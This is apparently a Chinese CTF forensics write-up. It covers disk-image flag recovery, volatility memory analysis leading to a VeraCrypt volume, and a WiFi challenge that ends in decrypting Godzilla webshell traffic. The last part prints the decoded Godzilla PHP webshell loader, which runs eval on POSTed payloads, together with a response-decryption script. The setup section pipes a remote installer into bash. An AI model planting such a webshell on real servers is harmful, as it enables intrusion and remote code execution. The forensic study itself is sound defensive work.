取证分析

0 阅读4分钟

磁盘取证

kali

拿到了一个不知文件类型的文件,使用file命令查看image-20260304185610573.png

ext3是Linux系统常用的一种日志式文件系统,版本:rev 1.0

先检查一下这个系统有什么问题

关联环回设备

sudo losetup -f --show atta.01-

image-20260304192642295.png

关联到了**/dev/loop0**

检查

fsck.ext3 -v /dev/loop0

image-20260304193700664.png

clean表明这个系统是"干净的",那么可以直接挂载寻找flag

挂载系统

#创建挂载点
mkdir /tmp/atta
#挂载
mount /dev/loop0 /tmp/atta

进入"/tmp/atta"找flag

cd /tmp/atta
find . -type f -name flag* 2>/dev/null

image-20260304202127581.png

拿到一段base64:ZmxhZ3tkYXNjdGZfM2FjNTkxYjBhODMwNWEyMzdiMGVmNjBkYX0=

解密得:flag{dasctf_3ac591b0a8305a237b0ef60da}

卸载

#解除关联
sudo losetup -d /dev/loop0
#解除挂载
cd ..
umount /tmp/atta

借鉴:Linux环回设备(loop device) - 码上自由的博客

Windows

或者使用工具DiskGenius

image-20260305185701273.png

image-20260305185850329.png

能正常浏览image-20260305190604916.png

那么就寻找flag文件,先导出磁盘目录image-20260305191053641.png

"霜鸡"打开html目录文件并搜索image-20260305191409569.png

复制路径image-20260305191530835.png

回到DiskGeniusimage-20260305191707510.png

image-20260305191832013.png

打开保存的文件image-20260305191947470.png

一看就是base64,解码得到flag: flag{dasctf_3ac591b0a8305a237b0ef60da}

[XMAN2018排位赛]file

extundelete

image-20260305193449195.png

也是跟之前的操作一样,但是没找到,应该是将文件删除了,恢复看看

extundelete atta.XMAN2018file --restore-all

找到生成的RECOVERED_FILES目录下的文件image-20260305200423742.png

flag: flag{fugly_cats_need_luv_2}

DiskGenius

挂载后恢复

image-20260305201424106.png

image-20260305201602389.png

复制到指定路径后使用powershellcatimage-20260305201754607.png

内存取证

题目给了Keyboard.rawSecret

先查看文件类型image-20260306092959526.png

image-20260306121103746.png

虽然显示是追踪日志,实际上Keyboard.raw是一个还没有格式化的磁盘镜像,不过也够知道这个是Windows磁盘镜像了

使用工具:volatility

安装volatility

pyenv:

curl -fsSL https://pyenv.run | bash
echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.zshrc
echo '[[ -d $PYENV_ROOT/bin ]] && export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.zshrc
echo 'eval "$(pyenv init - zsh)"' >> ~/.zshrc

source ~/.zshrc
zsh

sed -i "s@http://http.kali.org/kali@https://mirrors.tuna.tsinghua.edu.cn/kali@g" /etc/apt/sources.list
pyenv update
apt update
apt install zlib1g zlib1g-dev libssl-dev libbz2-dev libsqlite3-dev libreadline-dev tk-dev tcl-dev

volatility3:

#git clone https://wget.la/https://github.com/volatilityfoundation/volatility3.git
#cd volatility3
export PYTHON_BUILD_MIRROR_URL="https://mirrors.huaweicloud.com/python/"
export PYTHON_BUILD_MIRROR_URL_SKIP_CHECKSUM=1
pyenv install 3.10.20;pyenv local 3.10.20
pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple
#pip install -e ".[dev]"
pip install volatility3
#这里先去下载符号表https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip
mv windows.zip /root/.pyenv/versions/3.10.20/lib/python3.10/site-packages/volatility3/symbols

这样安装会缺少一些功能,对于本题完全够用,想完整安装就去掉注释命令部分

文件提取

这里直接进行文件扫描

vol -f Keyboard.raw windows.filescan.FileScan > file

grep keyboard file #文件名就叫keyboard,那就通过这个关键词找

image-20260307123713000.png

t.txt肥肠可疑,记下物理地址:0x3d700880

将文件导出

vol -f Keyboard.raw windows.dumpfiles.DumpFiles --physaddr 0x3d700880

image-20260307125205131.png

file.0x3d700880.0xfa8004cefa80.DataSectionObject.t.txt.dat就是导出的文件

查看文件内容:image-20260307125332785.png

2020- 3-29 22:35:25
[BP][BP][BP][BP]hhhhh flag is not n[BP]here #flag不在这

2020- 3-29 22:35:30


2020- 3-29 22:36:41
ctfwikiCRYPTO ABC #CTFWiki上的密码学基础知识(ABC在英语中常被喻为基础知识、入门等意思)
CTKQEKNHZHQLLVGKROLATNWGQKRRKQGWNTA

2020- 3-29 22:37:23
[BP][BP]decrypto hou xiao xie geng[BP][BP] yi kan chu #解密成小写更易看出

2020- 3-29 22:39:24
But the password is in uppercase #但密码是大写的

2020- 3-29 22:38:55
a

解密

根据文档内容,密文可能是通过简单的单表替换加密的,入门的很大概率是QWE键盘密码

脚本解密:

def main():
    mapping = str.maketrans('qwertyuiopasdfghjklzxcvbnm', 'abcdefghijklmnopqrstuvwxyz')    
    #要解密的字符串
    crypto = 'CTKQEKNHZHQLLVGKROLATNWGQKRRKQGWNTA'    
    #转换为小写并应用映射
    result = crypto.lower().translate(mapping)    
    #输出结果
    print(result) #小写
    print(result.upper()) #大写
if __name__ == "__main__":
    main()

image-20260307130022506.png

在线网站:quipqiup-替换密码

image-20260307130317562.png

解得明文:

qw.py: veracryptpasswordiskeyboarddraobyek
quipqiup-替换密码: vera crypt password is keyboard drao by ek

VeraCrypt打开Secret

VeraCrypt 是一款适用于 Windows、Mac OSX 和 Linux 的免费开源磁盘加密软件,所以剩下的Secret文件应该是一个磁盘文件且被VeraCrypt加密了,需要VeraCrypt使用密码(KEYBOARDDRAOBYEK)打开

点击一个未占用的盘符(如A:)--选择文件--加载--输入密码

进入盘符A:image-20260307132606982.png

一直点进去就找到了

image-20260307132834874.png

之前我就打开了隐藏的项目,所以一直点进去就发现文件了

当然,也可以用命令行,快速定位image-20260307161059412.png

但内容却是 flag{flag_Hidden_in_zhe_but_not_me},先提交一手,还真不是,🤡

010寻找flag

祭出我的010,直接从here.vhd里面找 image-20260307164246947.png

拿到flag:flag{4a02f6dc603c377a234df479609d237c}

[陇剑杯 2021]wifi

题目描述:

网管小王最近喜欢上了ctf网络安全竞赛,他使用“哥斯拉”木马来玩玩upload-labs,并且保存了内存镜像、wifi流量和服务器流量,让您来分析后作答:(本题仅1小问) 小王往upload-labs上传木马后进行了cat /flag,flag内容为_____________。(压缩包里有解压密码的提示)

附件:Windows 7-dde00fa9.vmem、客户端.cap、服务器.pcapng

给了两个流量包和一个vmem镜像,自然是要去找响应包的,先打开服务器.pcapng搜索200的响应包image-20260307225445012.png

什么都没有,再看看客户端.cap,全是协议为IEEE 802.11数据包,而且加密了,需要WiFi密码来解密

获取wifi密码

题目提示了"压缩包有密码提示",去查看镜像文件,vol3可以直接进行filescan

vol -f Windows\ 7-dde00fa9.vmem windows.filescan.FileScan > vmfile

搜索有关"wifi"的文件

grep -i wifi vmfile

image-20260307173805210.png

有一个zip,记下物理地址:0x3fdc38c8

导出

vol -f Windows\ 7-dde00fa9.vmem windows.dumpfiles.DumpFiles --physaddr 0x3fdc38c8

image-20260307180732699.png

解压发现需要密码image-20260307180906454.png

根据题目提示,直接catimage-20260307181148818.png

password is Network Adapter GUID,自然是尝试直接输入,不过没通过,再细看密码是网络适配器GUID

而无线适配器可以通过目录C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces查看GUID

grep -i Interfaces vmfile

image-20260307184853328.png

**{529B7D2A-05D1-4F21-A001-8F4FF817FC3A}**就是无线适配器的GUID,即压缩包密码

解压输入密码image-20260307185241569.png

解压出了一个xml文件,查看image-20260307185737026.png

<?xml version="1.0"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
        <name>My_Wifi</name>
        <SSIDConfig>
                <SSID>
                        <hex>4D795F57696669</hex>
                        <name>My_Wifi</name>
                </SSID>
        </SSIDConfig>
        <connectionType>ESS</connectionType>
        <connectionMode>auto</connectionMode>
        <MSM>
                <security>
                        <authEncryption>
                                <authentication>WPA2PSK</authentication>
                                <encryption>AES</encryption>
                                <useOneX>false</useOneX>
                        </authEncryption>
                        <sharedKey>
                                <keyType>passPhrase</keyType>
                                <protected>false</protected>
                                <keyMaterial>233@114514_qwe</keyMaterial>
                        </sharedKey>
                </security>
        </MSM>
</WLANProfile>

确实是WiFi配置文件,故拿到了WiFi密码233@114514_qwe

拿到wireshark进行配置,"编辑" - "首选项" - "protocol" - "IEEE 802.11" - "Decryption keys" - "+" - wpa-pwd - 233@114514_qweimage-20260307232216677.png

分析http流量

此时再回看客户端数据包,多了不同的协议image-20260308090834481.png

搜索响应包image-20260308092902216.png

现在需要寻找小王执行cat /flag的响应包,根据时间线,小王在获取到flag后就下线了,所以直接追踪最后的响应包image-20260308093256092.png

72a9c691ccdaab98fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB+BlWZhjRlQuTIIB5jMTU=b4c4e1f6ddd2a488

回显是密文,为了判断是什么密文,去服务器端查看请求流量image-20260308093910221.png

pass=eval(base64_decode(strrev(urldecode('K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBXayR3coAiZpBCIgACIgACIK0welNHbl1HIgACIK0wOpYTMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpkSeltGJskSY0FGZkgib1JHQoUGZvNmblhSZk92YuV2X0YTZzFmYg8GajVGIgACIgACIgoQD7kiNxwCMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpQWYvxWehBHJowWY2VGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD'))));

&key=fL1tMGI4YTljMX78f8Wo/yhTh1ICWCl3T2Dlffl9LdSpe0j5qneQcq98UNA0fsVlxxBe14XeR9/GMTU0pI7iA2M2ZQ==

请求数据有passkey两个参数,对比常用webshell管理工具,默认两个参数分别为pass和key的大概只有哥斯拉,且再注意之前的回显,密文前后都是小写+数字组合,中间像base64编码,猜测是哥斯拉的流量特征,一前一后16位应该都是md5加密字符,提取前后16位字符组成32位去解密网站试试image-20260308114327473.png解出来了,确定小王使用的是哥斯拉image-20260308095108336.png

且密码和密钥都是默认的,那猜测加密器也是,且请求数据使用eval()和base64_decode(),可以确定密文是PHP_EVAL_XOR_BASE64加密的,解出PHP_EVAL_XOR_BASE64密文是需要密钥的

解密请求取key

请求数据里应该有,先解码请求数据,把eval()去掉再输出pass即可,因为eval()里的字符就是要执行的代码

<?php
$pass = base64_decode(strrev(urldecode('K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBXayR3coAiZpBCIgACIgACIK0welNHbl1HIgACIK0wOpYTMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpkSeltGJskSY0FGZkgib1JHQoUGZvNmblhSZk92YuV2X0YTZzFmYg8GajVGIgACIgACIgoQD7kiNxwCMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpQWYvxWehBHJowWY2VGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD')));
echo $pass;
?>

输出结果:image-20260308111024472.png

@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (stripos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

得到密钥为3c6e0b8a9c15224a,接下来就是对响应结果解密

解密响应取flag

import base64
import gzip

def decrypt(s, k):
    s = s[16:-16]  #去除前后16位
    b = base64.b64decode(s)  #base64解码    
    #XOR解密
    xor_data = bytearray()
    for i in range(len(b)):
        xor_data.append(b[i] ^ ord(k[(i+1) & 15]))    
    #gzip解压缩,哥斯拉在服务器gzdecode可用时,会将数据进行gzip压缩
    return gzip.decompress(bytes(xor_data)).decode('utf-8')
#密文
enc = "72a9c691ccdaab98fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB+BlWZhjRlQuTIIB5jMTU=b4c4e1f6ddd2a488"
key = "3c6e0b8a9c15224a" #密钥

result = decrypt(enc, key)
print(result)

image-20260308121206378.png

或使用工具nocultrue/Deco_Godzilla: 解密哥斯拉所有类型流量image-20260308145643614.png

拿到flag: flag{5db5b7b0bb74babb66e1522f3a6b1b12}

BUU只给了一个文件,我从Bugku CTF平台上找的题目文件pan.baidu.com/s/1F1Km6CMH…

题目文件出处:WIFI

借鉴:

取证分析总结(实战[XMAN2018 排位赛]file)_[xman2018排位赛]file-CSDN博客

哥斯拉、冰蝎与蚁剑的流量特征-CSDN博客